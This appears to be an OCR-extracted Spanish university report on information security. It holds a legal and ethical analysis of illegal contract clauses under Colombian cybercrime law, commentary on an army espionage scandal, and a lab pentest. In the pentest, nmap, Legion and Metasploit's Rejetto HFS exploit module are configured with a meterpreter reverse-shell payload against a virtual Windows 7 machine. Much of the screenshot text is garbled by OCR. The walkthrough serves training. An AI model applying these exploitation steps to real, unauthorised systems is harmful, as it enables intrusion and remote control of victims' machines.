Memoria base: 4096 MB

Procesadores: 4

Orden de arranque: Disquete, Optica, disco duro
Memoria video: 21 MB

Controlador Grafico: VBoxSVGA

Controlador: SATA
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Controlador USB: OHCI

Figura 12. Configuracién equipo Win 7-SE2020

@ COracle VM VirtualBox Administrador
Archive Maquina Ayuda

o = @ 9
éf g_ h
Mueva Configuracién Descartar  Iniciar

. ESISeg.DB =] ceneral
MNombre: win7-5E2020
E'. Win7-SE2020-X64 Sistema operativo:  Windows 7 (64-bit)
(7] © Apagada [&] sistema
Memoria base: 4096 MB
[ealf | = Procesadores: 4 A
'-J,'j’- (i) . Orden de arrangue: Disguete, Optica, Disco duro
Aceleracidn: VT-x/AMD-V, Paginacién anidada, Paravirtualizacidn Hyper-V

I?l---. Kali-Linux-2021.2-virtualbox-amd64

= © Apagada
(™ pantalla
Memoria de video: 21MB
Controlader grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA O: Win7-5E2020-disk00 1. vdi (Normal, 50,00 GE)

ifn Audio
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Controlador USB: OHCI
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Figura 13. Configuracién equipo Kali — Linux -2021-2 Virtualbox amd 64
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Mueva Configuracién Descartar

@ General
Mombre: KaliLinux-2021, 2-virtualbox-amd64
[Ealf | Win7-SE2020-X64 Sistema operativo:  Debian (64-bit)

2 © apagada [¥] sistema

Memoria base: 2048 ME
[EolF | win7-SE2020 Procesadores: 2
{7 .Wﬂa Orden de arranque:  Disco duro, Optica

Aceleradan: VT-x/AMD-V, Paginacidn anidada, PAE/MX, Paravir tuglizadion KVM

[E] pantalla

Memoria de video: 128 MB
Controlader grafico: WMSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabadidn: Inhabilitado

IDE secundario maestro:  [Unidad dptica] Yado
Puerto SATA 0: KaliLinux-2021, 2-virtualbox-amdé&4-disk00 1.vdi (Normal, 80,00 GB)

Controlador de anfitridn:  Windows DirectSound
Controlador: ICH ACS7

Controlador USB: OHCI
Filtros de dispositivos: 0 (0 activa)

-(ﬂ'pemsmuﬂ'ﬁdas
Ninguno

© Deseripais

Kali Rolling {2021.2) x64
2021-05-31

kol Homepage:
hitps: ffuww. H -orgf
* Documental

hitps: ffunw. lmi -orgjdocs/
Forum/Support:

hl:lps.ﬂfnruns.kzi org/
*Kali Tools:
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5.4.

Tabla 1. Andlisis legal y ético del anexo 2

Documento

ANEXO 2

éticos

ilicitos.
La alta gerencia no revisd los

contratos son entregados sin
madificacion alguna; ante este
evento |la gerencia solicita tener
suma precaucion antes de firmar
el contrato y acuerdos de
confidencialidad estipulados para
elfin de contratacion de personal.

Este contrato fue elaborado par
un abogado que va no labora con
la organizacian y fue despedido
por encontrar algunos procesos

contratos con los que se reclutard
el nuevo personal, por ende, los

ANALISIS LEGAL Y ETICO DEL ANEXO 2 — ESCENARIO 2 Y ANEXO 3

Fragmentos llegales o no

Argumentos

La empresa ha actuado de forma poco ética al
desconocer la informacion del contrato teniendo en
cuenta que dentro de las prohibiciones en el codigo
de ética se encuentran permitir, tolerar o facilitar el

ejercicio ilegal de las profesiones
reguladas por la ley, esta situacion puede facilitar la
participacion y patrocinio de actividades ilegales. Por
otro lado dentro de los deberes estéa respetar y hacer
respetar todas las disposiciones legales y

reglamentaras que incidan en actos de las
profesiones relacionadas con la ingenieria, asi como
denunciar todas las transgresiones y velar por el
buen prestigio de los profesionales; teniendo en
cuenta lo anterior y los antecedentes del abogado
gue asesoro la transcripcion de los contratos de la

compaiiia, esta debio ejecutar las revisiones

pertinentes para asegurar el cumplimiento de la ley y
la ética profesional relacionada.

ANEXO 3

Primera. Objeto: en virtud del
presente acuerdo de
confidencialidad, la parte
receptora, se obliga a no divulgar
directa, indirecta, proxima o
remotamente, ni a través de
ninguna otra persona o de sus
subalternos o funcionarios,
autoridades legales, asesores o
cualguier persona relacionada
con ella, la informacion
confidencial o sobre procesos
ilegales dentro de Whitehouse
Security no podran ser
divulgados.

En esta clausula se vulneran varios de los deberes y
prohibiciones del cédigo de ética, dentro de los que
se pueden resaltar: La obligacién de la no
divulgacion de la informacion no puede estar
supeditada a autoridades legales ni a personas
relacionadas con ella; lo anterior teniendo en cuenta
que el cédigo de ética indica que se debe impedir o
evitar el ocultamiento o utilizacién indebidos de la
informacion y permitir el acceso inmediato a
autoridades de policia en caso de investigacion y
denunciar los delitos, contravenciones y faltas contra
el codigo de ética aportando la informacién que se
tenga sobre los procesos ilegales que se estén
llevando a cabo. La ley 1581 de 2012 de datos
personales que legisla el derecho que las personas
tienen a conocer para este caso la informacion que
sobre ellas se maneje en la compainiia.

ANEXO 3

Datos secretos como “datos de
chuzadas, interceptacion de
informacion, accesos abusivos a
sistemas informaticos"”.

Este punto es ilegal teniendo en cuenta que en la ley

1273 de 2009 se contempla dentro de los delitos
informéticos el acceso abusivo a los sistemas
informaticos y la interceptacion de informacion sin
Ordenes judiciales o autorizacion valida.
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Documento

ANEXO 3

Fragmentos llegales o no
éticos

Mo denunciar ante las
autoridades actividades
sospechosas de espionaje o
cualquier otro proceso en el cual
intervenga la apropiacion de
informacion de terceros.

Argumentos

En el cddigo de ética registra como deber de los
profesionales denunciar los delitos, contravenciones
y faltas contra la ética y que se puedan registrar
dentro del ejercicio de la profesion y el espionaje y la
apropiacion de la informacioén de terceros esta
catalogada como delito en la ley 1273 de 2009.

ANEXO 3

Abstenerse de denunciar y
publicar la informacion
confidencial e ilegal gque conozca,
reciba o intercambie con ocasion
de las reuniones sostenidas.

Es deber de los profesionales denunciar los delitos,
contravenciones y faltas contra la ética registrados
en el gjercicio de la profesion y el hecho de conocer
que la informacion tratada en las reuniones
corresponde a actos ilegales denota una
responsabilidad ética y legal del profesional para con
la sociedad y dignidad de la profesion.

ANEXO 3

%2 obliga a no transmitir,
comunicar revelar o de cualquier
otra forma divulgar total o
parcialmente, pablica o
privadamente, la informacion
confidencial o ilegal sin el previo
consentimiento por escrito por

parte de Whitehouse Security.

La empresa no puede obligar a sus profesionales a
ocultar informacion confidencial y/o ilegal ya que las
personas relacionadas con la informacion tienen
derecho legal a conocer la informacion relacionada
con ellas; por otra parte el profesional tiene deber de
denunciar los actos ilegales que atenten contra la
sociedad y su profesion y los delitos informaticos
tienen penas econémicas e intramural que pueden
afectar la vida de los mismos.

ANEXO 3

la parte que contravenga el
acuerdo serd responsable ante la
otra parte o ante los terceros de
buena fe sobre los cuales se
demuestre gque se han visto
afectados por la inobservancia
del presente acuerdo, por los
perjuicios morales y economicos
gue estos puedan sufrir como
resultado del incumplimiento de
las obligaciones agui contenidas.

Algunos de los delitos informéticos indicados en la
ley 1273 de 2009 indican que es un agravante a los
hechos, si para consumar los delitos el agente ha
reclutado victimas en la cadena del delito; esto
quiere decir que la empresa también tiene
responsabilidades frente a los delitos que se llegaran
a evidenciar ante cualquier denuncia realizada a las
autoridades.

ANEXO 3

En caso que la informacian ilegal
o confidencial sea encontrada en
manos del receptor este debera
acudir aun abogado privado y
dejar exenta de cualquier
responsabilidad legal y penal a

Whitehause Security.

Algunos de los delitos informéaticos indicados en la
ley 1273 de 2009 indican que es un agravante a los
hechos, si para consumar los delitos el agente ha
reclutado victimas en la cadena del delito; esto
quiere decir que la empresa también tiene
responsabilidades frente a los delitos que se llegaran
a evidenciar ante cualquier denuncia realizada a las
autoridades.

Fuente: Construccion propia autor
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5.5.

ARTICULOS VULNERADOS DE LA LEY 1273 EN LOS ANEXOS

Tabla 2. Articulos vulnerados de la ley 1273 en los anexos

Documento

ANEXO 2

Fragmentos llegales o No
éticos

La alta gerencia no revisa los
contratos con los que se reclutara el
nuevo personal, por ende, los
contratos son entregados sin
modificacion alguna; ante este
evento la gerencia solicita tener
sUma precaucian antes de firmar el
contrato v acuerdos de
confidencialidad estipulados para el
fin de contratacian de personal.

Articulos de laley 1273 vulnerados

Los articulos 269F violacion de datos personales y
269G suplantacién de sitios web para capturar datos
personales, sentenciados en la ley 1273 de 2009
indican que es un agravante a los hechos, si para
consumar los delitos el agente ha reclutado victimas en
la cadena del delito; esto quiere decir que la empresa
también tiene responsabilidades frente a los delitos
que se llegaran a evidenciar ante cualquier denuncia
realizada a las autoridades y que el contrato debio
revisarse para mitigar los riesgos derivados de
actuaciones ilegales para las que se esté reclutando
personas.

ANEXO 3

Se obliga a no divulgar directa,
indirecta, proxima o remotamente,
nia través de ninguna otra persona o

de sus subalternos o funcionarios,

autoridades legales, asezores o

cualguier persona relacionada con
ella, la informacion confidencial o
sobre procesos ilegales dentro de
Whitehouse Security no podran ser
divulgados.

Puede estar relacionado con el articulo 269F ya que al
no poder divulgar informacién a personas relacionadas
con la misma se puede estar atentando o violentando
los datos personales teniendo en cuenta la ley 1581 de
2012 de datos personales que legisla el derecho que
las personas tienen a conocer para este caso la
informacién que sobre ellas se maneje en la compafiia.

ANEXO 3

ANEXO 3

Datos secretos como “datos de
chuzadas, interceptacion de
informacidn, accesos abusivos a
sistemas informaticos”.

Mo denunciar ante las autoridades
actividades sospechosas de
espionaje o cualguier otro proceso
en el cual intervenga la apropiacion
de informacion de terceros.

Este punto es ilegal teniendo en cuenta que en la ley
1273 de 2009 se contempla dentro de los delitos
informaticos el acceso abusivo a los sistemas
informaticos en el articulo 269A vy la interceptacién de
informacién 269C sin 6rdenes judiciales o autorizacién
valida.

El espionaje puede estar catalogado como el acceso
abusivo a datos informéaticos 269A y la interceptacion
en las comunicaciones 269C, en cuanto la apropiacién
de la informacion de terceros esta decretada en el
articulo 2691 que habla de hurto de datos por medios
informaticos o parecidos.

ANEXO 3

Abstenerse de denunciar y publicar
la informacion confidencial e ilegal
gue conozca, reciba o intercambie
con ocasion de las reuniones
sostenidas.

Esta conducta puede estar cualificada dentro del
articulo 269H que registra las circunstancias de
agravacion punitiva, al indicar que todas las conductas
derivadas en delitos informaticos, realizadas por los
administradores que tienen a cargo la administracion,
control o manejo de informacion pueden desencadenar
la inhabilidad en la profesién hasta por 3 afos.
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Documento

Fragmentos llegales o No

Articulos de laley 1273 vulnerados

éticos
Se obliga a no transmitir, comunicar Esta conducta puede estar cualificada dentro del
revelar o de cualquier otra forma articulo 269H que registra las circunstancias de
divulzar total o parcialmente, agravacion punitiva, al indicar que todas las conductas
ANEXO 3 piblica o privadamente, la derivadas en delitos informaticos, realizadas por los
informacién confidencial o ilegal sin | @dministradores que tienen a cargo la administracion,
el previo consentimiento por escrito control_o manejo de mformacu_’)n pueden desencadenar
por parte de Whitehouse Security. la inhabilidad en la profesion hasta por 3 afios.
:rgar:ipqnuni:;r;tgxzTi::;:i;ds Los delitos informaticos 269F violacion de datos
ante los terceros de buena fe sobre personqlgs y 26.9.G en caso de que se capturen por
los cuales se demuestre que se han suplantau_on gje sitio web que se indican en la ley 1273
ANEXO 3 visto afectados por la inobservancia de 2009 indica que es un agravante a los hechos, si
del presente acuerdo, por los _para consumar los delitos _eI agente ha recluta}do
A - victimas en la cadena del delito; esto quiere decir que
perjuicios morales y economicos que L o
estos puedan sufrir como resultado la empresa también tiene resppnsab_llldades frente_a
del incumplimiento de las los delitos que se Ileggran a eV|denC|a_r ante cualquier
obligaciones aqui contenidas. denuncia realizada a las autoridades.
Los delitos informéticos 269F violacion de datos
) e personales y 269G en caso de que se capturen por
En caso que lainformacion flegal o | \\o1antacion de sitio web que se indican en la ley 1273
confidencial sea encontrada en de 2009 indica que es un agravante a los hechos, si
ANEXO 3 manos del receptor este deberd para consumar los delitos el agente ha reclutado
acudir a un abogado privado y dejar | Victimas en la cadena del delito; esto quiere decir que
exenta de cualquier responsabilidad la empresa también tiene resppnsapll|dades frente'a
lezal | 3 Whitehouse Security los delitos que se Ileggran a eV|denC|a_r ante cualquier
€galy pena : denuncia realizada a las autoridades.

Fuente: Construccion propia autor

5.6. ARGUMENTACION DE LA APLICACION AL TRABAJO EN THE

WHITEHOUSE

Teniendo en cuenta la situacion actual del pais y la posicién de diferentes frentes de la
actualidad Colombiana en los cuales la marrulleria y corrupcién son el pan de cada dia
y las oportunidades para los profesionales son cada vez mas limitadas, una oportunidad
de este calibre podria verse muy alentadora y tentadora; sin embargo, para muchos
ingenieros que aun creemos en la dignidad, en la ética y honestidad de la profesion,

esta circunstancia esta cargada de muchas restricciones de indole moral, ética y legal
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que podrian atentar gravemente no solo contra los principios inculcados en la familia,
comunidad educativa, laboral y profesional, si no en la posibilidad de perder la habilidad
para ejercer la profesion, la estabilidad econémica y la libertad.

El codigo de ética para ingenieros dentro de sus postulados define algunos de los
eventos que se transgredirian con la aceptacién de la labor en cuestion y las causales
por las cuales no seria procedente la aceptacion del cargo, teniendo en cuenta el punto
de vista moral expuesto en este mismo punto:

1. La violacion comprobada de este cddigo puede acarrear la suspension hasta por
5 afios o la cancelacion de la matricula profesional.

2. Dentro de los deberes generales de los profesionales se especifica en el punto b
la custodia de la informacion que se le encomiende evitando el ocultamiento y uso
indebido de la misma.

3. En el punto e indica como deber también permitir el acceso por parte de las
autoridades de policia a los lugares y documentados dentro de las investigaciones para
facilitar la ejecucion de la labor.

4, Denunciar los delitos, contravenciones y faltas contra el codigo a los cuales
tenga acceso y conocimiento ejerciendo la profesion, entregando las pruebas y
documentos que tenga al alcance, es el punto f de estos mismos deberes.

5. Dentro de las prohibiciones se enuncia el permitir, tolerar o dar facilidad para

ejercer de forma ilegal esta profesion.

6. Se prohibe el ofrecimiento o aceptacion de labores en contra de la legislacion
vigente.
7. En los deberes para con la dignidad de la profesidon se indica el respeto por las

disposiciones legales y reglamentos que normen los actos de la profesion y la denuncia
de todas las infracciones.

8. En caso de obligacion legal se debe revelar la informacién relacionada con el
trabajo y que tenga reserva o secreto profesional, lo anterior constituye un deber en pro

de la dignidad de la profesion.
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5.7. PUNTO DE VISTA “OPERACION ANDROMEDA BUGGLY?”

El caso de la “OPERACION ANDROMEDA BUGGLY” en donde supuestamente esta
fachada servia al Ejercito Nacional de Colombia para actividades de inteligencia que se
orientaban a detectar amenazas de ciberseguridad y que con las investigaciones
realizadas destapo una serie de incidencias que desencadenaron capturas e
investigaciones por parte de la Fiscalia General de la Nacién al encontrar
acontecimientos aparentemente de indole ilegal y que de acuerdo a la lectura realizada
de los acontecimientos que involucraron este escandalo podria tener las siguientes

implicaciones legales y éticas:

Implicaciones legales contempladas en la ley 1273 de 2009:

1. Acceso abusivo a sistemas informaticos: esto de acuerdo a las declaraciones que
especifican que se inyectaron malware a equipos ajenos para lograr obtener
informacion.

2. Interceptacion de datos informaticos: Las llamadas chuzadas, espionaje de correos
electronicos e informacion de alcaldes de zonas en donde habia presencia de
guerrilla de forma ilegal pudieron incurrir en este delito.

3. Uso de software malicioso: De acuerdo a las indagaciones se pudo establecer el uso
de software malicioso para conseguir datos de personas e interceptar
comunicaciones.

4. Violacion de datos personales: En esta operacion se accedié a informacion
confidencial de las personas incluso sin autorizacion de las mismas; se habla
también de la comercializacién y divulgaciéon de informacién confidencial entre
personas civiles y del ejército que hacian parte de los equipos reclutados para esta
conspiracion.

5. Todos estos delitos tienen dentro de sus penalidades intramural entre 48 y 96

meses y multas econdmicas entre 100 y 1.000 SMLMV.

35



6. En el Articulo 269H que trata sobre eventos que agravan punitivamente y las penas
se pueden aumentar de la mitad a tres cuartas partes si se prueban, se pueden
destacar varios que entrarian a jugar dentro de las conductas observadas:

- Se habla de un posible espionaje a los acuerdos de paz, lo que se podria relacionar
con sistemas o redes informéticas gubernamentales.

- Al estar involucrado el personal del ejército nacional, se entiende que estos son
servidores publicos ejerciendo las funciones de su cargo.

- Se indic6 que algunos de los personajes involucrados recibieron dineros a cambios de
informacion y bases de datos que se consiguieron durante la operacion, logrando asi
beneficios econdmicos para si 0 para terceros.

- En la operacion se involucraron personas civiles a algunas de las cuales se les indico
gue se estaban construyendo grupos de hacking para compartir conocimientos, aun no
es claro si se utiliz6 como herramienta a personas de buena fe que al parecer no sabian

sobre la fachada y objetivos reales de este proyecto.

Implicaciones éticas que se registran en el cédigo de la profesion:

1. Cancelacion de matriculas profesionales para los ingenieros involucrados en las
actividades ilicitas que se identificaron.

2. Deber de custodiar la informacion a cargo, evitando la realizacion de acciones
indebidas, esto va relacionado a la venta de informacidn a terceros que se pudo
establecer y a la interceptacion ilegal de las comunicaciones que se podrian
catalogar como acciones indebidas.

3. Al parecer no hubo denuncias por parte de las personas que se involucraron en
estos acontecimientos, aln a sabiendas de que posiblemente se trataba de actos
ilegales; este es un deber del ingeniero dentro del ejercicio de sus funciones.

4. Es prohibido facilitar, permitir y tolerar la realizacion de actividades delictivas
dentro de la profesion, esto para las personas que se involucraron tanto los

militares como los civiles.
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5.8.

El hecho del ofrecimiento y aceptacibn de trabajo que atenta contra la
normatividad vigente por medio de funcionarios del ejército nacional o personal
civil con conocimientos en la profesién, infringe una de las prohibiciones del
cbdigo que se esta analizando.

Para con la dignidad de la profesién se quebrantan el respeto y hacer respetar
las normas legales dentro de las actuaciones de los profesionales y la denuncia
de actividades que transgredan las mismas.

Ninguno de los involucrados ha dejado en alto la profesion, al contrario este tipo
de actuaciones la desprestigian.

Al realizar la comercializacién de informaciéon conseguida durante la operacion,
se falto a los deberes con el publico en general, en donde se recomienda
mantener el secreto y la reserva de la informacion a cargo del profesional; al
igual que esta misma conducta se veda dentro de las prohibiciones respecto al

publico en general.

HERRAMIENTAS SOFTWARE UTILIZADAS PARA LLEVAR A CABO EL

ANEXO 4 — ESCENARIO 3

Para la enumeracion de las herramientas de software utilizadas en la ejecucion de las

pruebas se estableceran las etapas en las que se utilizaron y los procedimientos

especificados:

Figura 14. Actividades de pruebas Pentesting

3. Identificacion
1. Reconocimiento ‘ | S|§temas, puelttos
abiertos, usuarios y Y
servicios
| L] )

Fuente:

ALCALDIA DE BOGOTA. Guardianes de la informacion Penetration Testing. Disponible en:

http://ticbogota.gov.co/sites/default/files/seguridad-de-la-informacion/ambito2.pdf

37


http://ticbogota.gov.co/sites/default/files/seguridad-de-la-informacion/ambito2.pdf

5.8.1. Reconocimiento

Para esta etapa se escudrifia e investiga toda la informacién necesaria con el animo de
orientar y poder desarrollar las pruebas.

De acuerdo a la informacién recopilada por la compafia se puede establecer que el
equipo involucrado cuenta con un sistema operativo Windows 7 X64, tiene instalada
una aplicacion llamada Rejetto y existen sospechas de una escalada de privilegios
dentro del sistema.

Windows 7 X64: Esta versién de Windows salié al mercado en 2009, el soporte del
proveedor finalizdé en 2015 y la extension del soporte termind en 2020; esta situacion
hace que este sistema operativo se convierta en un vector de ataque ya que al no
existir soporte del software esta obsolescencia puede traer consigo descubrimiento de

nuevas vulnerabilidades y exploits exitosos.

Figura 15. Ciclo de vida de Windows 7

Fechas de apoyo

Listado Fecha de inicio Fecha de finalizacién de la corriente principal Fecha de finalizacién extendida

Windows 7 22 de octubre de 2009 13 de enero de 2015 14 de enero de 2020

Fuente: https://docs.microsoft.com/en-us/lifecycle/products/windows-7

Aplicacion Rejetto: Al validar informacion en la web sobre esta aplicacion se puede
establecer que esta se relaciona con vulnerabilidades que permiten que atacantes por
medio de una reverse Shell acceder y controlar remotamente al equipo, lo que puede

facilitar entre otros una escalada de privilegios.

Figura 16. Vulnerabilidades Rejetto HTTP File

Fecha de publicacién Base Temp Vulnerabilidad Oday Today Exp Con CTI CVE
2014-10-08 Rejetto HTTP File Server escalada de privilegios 5095 $0-95k IEEN cvE-2014-7226
2014-10-07 Rejetto HTTP File Server parserLib pas findMacroMarker §0-§5k $0-55k m CVE-2014-6287

escalada de privilegios

Fuente: https://vuldb.com/es/?product.rejetto:http_file_server Figura 2. Vulnerabilidades Rejetto HTTP File
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Escalada de privilegios: Este evento se presenta cuando un atacante explota fallos o
debilidades de aplicaciones o sistemas, con esto logra acceder a permisos de acceso
amplios que de ninguna manera deberia tener; estos accesos le pueden permitir
ingreso a algunas areas restringidas que podrian contener informacion sensible o

disponible para ser sustraida. Se conoce también como elevacion de privilegios.

5.8.2. Escaneo de puertos, servicios y sistemas operativos

Para esta actividad es necesaria la reduccion de rangos de IPS a un listado de equipos
activos. Para ello es necesario realizar un barrido de ping o escaneo de ICMP para
localizar los equipos activos en red limitando los test a host encontrados. Esta etapa se
puede realizar con ayuda de Nmap utilizando el comando db_nmap —-v-A <Ip a
validar>, para este ejercicio lo haremos desde la herramienta metasploit esto listara

los puertos abiertos en la maquina victima.

Figura 17. Escaneo de puertos maquina victima herramienta nmap

Metasploit tip: Enable verbose logging with

msfe > db_nmap -v -A 192.168.1.7
Nmap: Starting Nmap 7 ttps://nmap.org ) at 2021-89-2@ 17:47 EDT
Nmap : Loaded 153 scanning.
Nmap: NSE: Script Pi

Nmap: C¢ le 1 1lel S i of 1 host. at 17:47, 2.53s elapsed
Nmap : iti :
Nmap:
[ IET
Nmap:
L ETH
Nmap :
Nmap :
Nmap :

Nmap :
Nmap :
Nmap :
Nmap : 7
Nmap: Ct lapsed (1000 total ports)

Nmap i

Nmap 7

Nmap ice one; ETC: 17:49 (@ 34 remaining)

e A i i e

Fuente: El autor
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También se realiza un banner grabbing que permite establecer informacion de sistemas
operativos que puede dar informacion sobre la red y equipos, también se puede
conseguir informacion por medio de la huella de la pila TCP/IP que facilita dirigir la

configuracion de herramientas para analisis de vulnerabilidades.

Figura 18. Identificacion del puerto 80, servicio, versiones

Nmap: Not shown: 987 closed DDI“EEII
b SERVICE VERSION
http HttpFil

Unknown favicon MD5:

GET HEAD POST
HFS 2.

Nmap :

Fuente: El autor

Figura 19. Informacion del equipo a atacar

: Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows
: Host script results:
: |_clock-skew: mean: 1h4@m@ls, deviation: 2h53mlls, median: 1s
3 \ nbstat: NetBIOS name: PC202006, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:92:80:c@ (Oracle VirtualBox virtual NIC)
Names:
Flags: <unique><active>
Flags: <group><active>
Flags: <unique><active>

7 Professional 6.1)

SI

ipported
age_signing: disabled (dangerous, but default)
smb2-security-mode:

1
|
1
|-
\
l
\
J
1
: |
I
1
|
|
\
I
:

Fuente: El autor

Figura 20. Comando Services identifica el servicio del puerto 80 - Http File Server se encuentra activo

msf6 > services
Services

host port proto state 1info

192.168.1.7 8 tcp open HttpFileServer httpd

Fuente: El autor
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5.8.3. Establecimiento y analisis de vulnerabilidades

Con la plena identificacion de sistemas operativos en los equipos, estos resultados
sirven para establecer la ruta del andlisis de vulnerabilidades. ElI administrador de
contenidos y los pluggins se pudieron haber establecido con el andlisis de banners, esto
puede dejar al descubierto informacion de vulnerabilidades existentes que si no han
sido remediadas puede ser un riesgo alto para la infraestructura.

Para realizar el escaneo de vulnerabilidades dentro de los dispositivos identificados se
pueden utilizar diferentes mecanismos, para esta prueba se utilizd6 la herramienta

Legion.

Figura 21. Establecimiento de vulnerabilidades puerto 80 — Herramienta Legion

LEGION 0.3.7-1596220187 - untitled - fusrfshareflegion/

File Help

Scan Brute
Hosts Services | ¥ Services Scripts Information CVEs Notes screenshot (80/tcp) = smbenum {445/tcp) smbenum (445
(=} iios]s Script Port
© 192.168.1.7 (... _ g cpe:ja:rejetto:httpfileserver:2.3k:
http-server-header 80/tcp 1337DAYID-35849 100
E iners R 1337DAYID-22640 7.5
= <P MSF:EXPLOIT/WINDOWS/HTTP/REJETTO_HFS_EXEC
ht head E— REJETTO_HFS_EXEC *EXPLOIT*
tp-server-header ftep EXPLOITPACK:AGES1CROBASABE562CCED5A235ECDEL S
EXPLOITPACK:AGES1CBOBASABE562CCED5A235ECDEL3
http-server-header 10243/tcp PACKETSTORM:128243 7.5

Fuente: El autor

Figura 22. Establecimiento de vulnerabilidades puerto 80 — Herramienta Legion

Script Port
cpe:fairejetto:httpfileserver:2.3k:
http-serverheader 80ftcp 1337DAYID-35849 100 https://vulners.com/zdt/1337DAY-ID-35848 *EXPLOIT*
; - 1337DATID-22640 75 https:/fvulners.com/zdt/1337DAY-ID-22640 *EXPLOIT*
VUNEIS ficp MSF:EXPLOIT/WINDOWS/HTTP/REJETTO_HFS EXEC 7.5 https://vulners.commetasploit/MSF:EXPLOIT/WINDOWS/HTTF/
REJETTO_HFS_EXEC EXPLOITH
http-server-header 5357ftcp EXPLOITPACK:AGES 1CBO6ASABE562CC6D5A235ECDEL3 75 https:/fvulners.com/exploitpack/
EXPLOITPACK:AGE5 1CBOBASAB6562CCAD5A235ECDELS *EXPLOIT
http-server-header 10243/tcp PACKETSTORM:128243 75 https://vulners.com/packetstorm/PACKETSTORM: 128243 EXPLOIT
PACKETSTORM:128593 75 https://vulners.com/packetstorm/PACKETSTORM: 128593 EXPLOIT
PACKETSTORM:135122 75 https://vulners.com/packetstorm/PACKETSTORM: 135122 EXPLOIT
EXPLOITPACK:A39709063C426496F9B4EB852560BBFF 75 https:/jwulners.com/exploitpack/
EXPLOITPACK:A30709063C426496F9B4EAB52560BBFF *EXPLOIT
PACKETSTORM: 160264 75 https://vulners.com/packetstorm/PACKETSTORM: 160264 EXPLOIT
PACKETSTORM: 161503 75 https://vulners.com/packatstorm/PACKETSTORM: 161503 *EXPLOIT
EDB-ID:49584 7.5 https://vulners.com/exploitdb/EDB-1D:49584 *EXPLOIT*
EDB-ID:39161 1.5 https://vulners.com/exploitdb/EDB-1D:39161 *EXPLOIT*
1337DAYID-25379 75 https://vulners.com/zdt/1337DAY-ID-25379 *EXPLOIT*
1337DAYID-22733 75 https:/fvulners.com/zdt/1337DAY-ID-22733 *EXPLOIT*
EDB-ID:49125 1.5 https://vulners.com/exploitdb/EDB-1D:49125 *EXPLOIT*
SECURITYVULNS:VULN:14023 75 https:fivulners.com/securityvulns/SECURITYVULNS:VULN:14023
EDB-ID:34926 1.5 https://vulners.com/exploitdb/EDB-1D:34926 *EXPLOIT*
EDB-ID:34668 1.5 https://vulners.com/exploitdb/EDB-1D: 34668 *EXPLOIT*
1337DAYID-6287 0.0 https:/fvulners.comjzdt/1337DAY-ID-6287 *EXPLOIT*

Fuente: El autor
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5.8.4. Plan de Explotacion de vulnerabilidades

Con el resultado de las vulnerabilidades que se identificaron se debe establecer la
clasificacion de acuerdo a la criticidad, tipo y la existencia de exploit de acuerdo a la
validacion en péginas como https://www.rapid7.com/db y https://www.exploit-

db.com/search/. Las vulnerabilidades que presenten exploit disponible se clasificaran en
cuatro grupos: las que se puedan gestionar remotamente con exploits remotos, los que
necesitan acceso local a la maquina, los que explotan debilidades de los aplicativos
web y por dltimo las que pueden generar indisponibilidad de servicio. En la pagina
exploitdb vulners se puede identificar el exploit para la vulnerabilidad identificada en la
etapa anterior con Legion.

Figura 23. Informacion exploitdb para vulnerabilidad identificada en fase anterior

B vulners.com/exploitdb/EDB-1D:4958

DATABASE PRODUCTS - PRICING STATS

* HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
. 2021-02-23 00:00:00

ID EDB-ID:49584

Type exploitdb

Reporter Exploit-DB

Modified 2021-02-23 00:00:00

CVSS v3

Attack Complexity: LOW Confidentiality Impact: HIGH
Attack Vector: NMETWORK Integrity Impact: HIGH
Scope: UNCHAMNGED Availability Impact: HIGH

AVINSACL/PRIN/ULN/S U/ CHAIH AH

Description

Fuente: El autor

5.8.5. Explotacién de vulnerabilidades

Empieza con la eleccion de las herramientas y exploits para explotar las debilidades
priorizadas; para la realizacion de estas actividades se elige el Metasploit y exploits a
aplicar en base a las vulnerabilidades encontradas y que se plantearon en el plan de

explotacion. Se configura cada una de las elecciones para atacar que tiene el
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Metasploit con base a las vulnerabilidades y las versiones tanto de la aplicacion como
de servicios y sistemas operativos. El exploit es lanzado después de la configuracién en
el Metasploit al servidor objetivo, se recogen evidencias del resultado del ataque y la
informacion del Metasploit o las capturas que se evidencian en la explotacion.

Figura 24. Metasploit herramienta elegida para explotar la vulnerabilidad de Rejetto

@ metasploit
metasploit

Rejetto HittpFileServer Remote
Command Execution

Z2014-T0-08T16:55:33

7]

NN

@ Rejetto HttpFileServer Remote Command Execution @® ey cvas

ID MSF.EXPLOIT/WINDOWS/HTTP/REJETTO_HFS_EXEC
Type metasploit

Reporter Rapid7

Modified 2020-10-02 20:00:37

CVSSv3

| .At'_ac< Complexity: LOW- | .Conf'dentia ity Impact: HIGH.
( _At:ac« Vector: NET'N-DRK..:_- ( ..In’.eglit'_\-' Impact: HIGH._:_-

| Scope: UNCHAMNGED | Awvailability Impact: HIGH

AVIN/ACL/PRINJUEN/S USCH/H/ AH
Description

Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module
exploits the HFS scripting commands by using %00’ to bypass the filtering. This module has been tested successfully on HFS 2.3b over
Windows XP SP3, Windows 7 SP1 and Windows 8

Fuente: El autor

Figura 25. Busqueda del modulo Metasploit Rejetto y validacion de opciones

msf6 > search rejetto

Matching Modules

# Name Disclosure Date Rank Check Description

® exploit/windows/http/pejette_hfs_exec 2014-089-11 1 t Yes Rejetto HttpFileServer Remote Command Exe
cution

Interact with a module by name or index. For example

Fuente: El autor
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Figura 26. Busqueda del moédulo Metasploit Rejetto y validacion de opciones

Module options

Name

host:port][
file
VHOST

host or
VPORT

port to
SSL/TLS
1stom

[T

This mus

S55LCert
TARGETURI
URIPATH F i i random )
VHOST n € g

randomly

oad options (windows/meterpre

N

EXITFUNC ) i e ( g 1 none )
LHOST . Y \ en inter y € )
LPORT

Fuente: El autor

Figura 27. Inicializacién y parametrizacion de variables para el ataque

Iniciar las variables del equipo que va a ser atacadol

Se inician las variables del equipo atacante

msf6 exploit(
LHOST = 192.168.1.15

mstf6 exploit(
LPORT =

Fuente: El autor

Figura 28. Variables cargadas en el médulo para efectuar el ataque
xploit(
Modu options
Name Current Setti
HTTPDELAY 1@

P
RHOSTS a

tions

L £ i1t is randomly generated)
TARGETURI = e

a
The URI
HTTP ser:

URIPATH

ult is random)
VHOST

oad options (windows/meterpreter/

quired

EXITFUNC
